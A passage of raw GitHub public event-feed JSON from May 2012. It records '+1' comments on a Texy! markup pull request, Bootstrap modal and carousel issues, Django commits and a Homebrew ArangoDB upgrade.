https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:18Z","id":"1553915704","actor":{"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"login":"adamtomecek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:20:43Z","body":"+1","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808487","id":5808487,"user":{"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"login":"Marax"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":16,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:20:43Z","id":"1553915653","actor":{"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"login":"Marax"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:15:29Z","body":"+1","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808456","id":5808456,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"login":"MartinSadovy"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":15,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:15:30Z","id":"1553915168","actor":{"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"login":"MartinSadovy"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:13:14Z","body":"+1","updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808447","id":5808447,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"login":"HosipLan"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":14,"updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:13:15Z","id":"1553914970","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"login":"HosipLan"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:05:45Z","body":"+1","updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808414","id":5808414,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"login":"Lopo"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":13,"updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:05:45Z","id":"1553914335","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"login":"Lopo"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:59:10Z","body":"+1","updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808385","id":5808385,"user":{"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"login":"Twista"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":12,"updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:59:11Z","id":"1553913765","actor":{"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"login":"Twista"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:53:44Z","body":"+1","updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808351","id":5808351,"user":{"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"login":"f3l1x"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":11,"updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:53:44Z","id":"1553913287","actor":{"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"login":"f3l1x"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:52:32Z","body":"+1 :)","updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808340","id":5808340,"user":{"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"login":"enumag"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":10,"updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:52:32Z","id":"1553913189","actor":{"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"login":"enumag"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:43:14Z","body":"Thanks! But in my case I have to wrap the the modal in a form...\n\nI'm thinking about something like this to fix it:\nI've to catch the enter key, when pressed and when a input is active.","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808288","id":5808288,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"}},"action":"created","issue":{"number":3343,"created_at":"2012-05-03T17:25:01Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I've got a modal with a form in it and a input field. In de footer of the modal a submit button. When clicking on the submit button the form will be submitted. When pressing enter, from the input field, the modal disappears. Simple example:\r\n\r\n```html\r\n
\r\n\t
\r\n\t\t
\r\n\t\t\t

Login

\r\n\t\t
\r\n\t\t
\t\r\n\t\t\t\r\n\t\t
\r\n\t\t
\r\n\t\t\t\r\n\t\t
\r\n\t
\r\n
\r\n```\r\n\r\nI hope it will be fixed soon!","comments":4,"title":"Modal disappears when press enter","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3343","id":4409660,"assignee":null,"milestone":null,"closed_at":"2012-05-04T19:04:44Z","html_url":"https://github.com/twitter/bootstrap/issues/3343","user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"},"labels":[],"state":"closed"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:43:16Z","id":"1553912424","actor":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:23:11Z","body":"can you add one more image? There is sometimes a min. of 3 images required for the carousel to work.","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808187","id":5808187,"user":{"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"login":"thaibluesky"}},"action":"created","issue":{"number":3528,"created_at":"2012-05-18T19:22:21Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Carousel does not start sliding to the next one after 5 seconds until after I click to the next slide. Only then does the timer start. What am I missing?","comments":8,"title":"Carousel does not start sliding","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3528","id":4647904,"assignee":null,"milestone":null,"closed_at":null,"labels":[],"html_url":"https://github.com/twitter/bootstrap/issues/3528","user":{"avatar_url":"https://secure.gravatar.com/avatar/3fdf23df74c9d4897818887e74686e48?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3fdf23df74c9d4897818887e74686e48","url":"https://api.github.com/users/gigdates","id":1179255,"login":"gigdates"},"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:23:15Z","id":"1553910775","actor":{"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"login":"thaibluesky"}},{"type":"PushEvent","payload":{"head":"03f86a5adb930eac55dea1e903fb958c002d5bc4","size":1,"push_id":79407330,"commits":[{"sha":"03f86a5adb930eac55dea1e903fb958c002d5bc4","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/03f86a5adb930eac55dea1e903fb958c002d5bc4","distinct":true,"message":"Fixed #18354 -- Performance issue in CBV.\n\nPrevented repeating a query twice when the model isn't ordered by\n-date_field (in Meta), allow_empty is False and pagination isn't\nenabled."}],"ref":"refs/heads/master"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T11:20:49Z","id":"1553910583","actor":{"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:22:07Z","body":"Do you need any additional information from me?","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/comments/5807859","id":5807859,"user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"}},"action":"created","issue":{"number":12215,"created_at":"2012-05-12T19:12:18Z","pull_request":{"diff_url":"https://github.com/mxcl/homebrew/pull/12215.diff","patch_url":"https://github.com/mxcl/homebrew/pull/12215.patch","html_url":"https://github.com/mxcl/homebrew/pull/12215"},"comments":2,"title":"Upgrade ArangoDB (formally known as AvocadoDB) to 0.5.0","body":"We had to rename AvocadoDB to ArangoDB due to legal issues.","updated_at":"2012-05-20T10:22:07Z","url":"https://api.github.com/repos/mxcl/homebrew/issues/12215","id":4548813,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/mxcl/homebrew/issues/12215","user":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"},"labels":[{"name":"renames","url":"https://api.github.com/repos/mxcl/homebrew/labels/renames","color":"e102d8"}],"state":"open"}},"public":true,"repo":{"url":"https://api.github.com/repos/mxcl/homebrew","id":206084,"name":"mxcl/homebrew"},"created_at":"2012-05-20T10:22:08Z","id":"1553905852","actor":{"avatar_url":"https://secure.gravatar.com/avatar/457f59eedabca29c1fa9cf798b5a11c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"457f59eedabca29c1fa9cf798b5a11c4","url":"https://api.github.com/users/fceller","id":392005,"login":"fceller"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:20:14Z","body":"Cfernandi, thanks, but that didn't help. The words aren't smushing together, it's just one of the words is too long and overflows the right of the screen. I guess I'll just have to get a shorter surname :P","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5807847","id":5807847,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"login":"hughrawlinson"}},"action":"created","issue":{"number":3230,"created_at":"2012-04-25T17:20:27Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"When you use a button to present a modal on mobile, the screen turns black, and only does the modal appear after some crafty scrolling and zooming. This is not apparent to a new user.\r\n\r\nAny fixes?\r\n\r\nMore discussion on the problem here: https://github.com/twitter/bootstrap/issues/1036","comments":16,"title":"Modals in 2.0 are broken on mobile.","updated_at":"2012-05-20T10:20:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3230","id":4285344,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/twitter/bootstrap/issues/3230","user":{"avatar_url":"https://secure.gravatar.com/avatar/c8112e74c84fea5e2faccbc7da3c2ba9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c8112e74c84fea5e2faccbc7da3c2ba9","url":"https://api.github.com/users/ATSiem","id":1068543,"login":"ATSiem"},"labels":[{"name":"css","url":"https://api.github.com/repos/twitter/bootstrap/labels/css","color":"7a43b6"},{"name":"responsive","url":"https://api.github.com/repos/twitter/bootstrap/labels/responsive","color":"ae8bd4"}],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T10:20:18Z","id":"1553905709","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6eff6b838ee9a1b1d5defa126a714ffc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6eff6b838ee9a1b1d5defa126a714ffc","url":"https://api.github.com/users/hughrawlinson","id":829836,"login":"hughrawlinson"}},{"type":"PushEvent","payload":{"head":"b0c1e5c081472436bf2300af3073cef1df1bd696","size":1,"push_id":79403570,"ref":"refs/heads/master","commits":[{"sha":"b0c1e5c081472436bf2300af3073cef1df1bd696","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/b0c1e5c081472436bf2300af3073cef1df1bd696","distinct":true,"message":"Documented next/previous_week. Refs 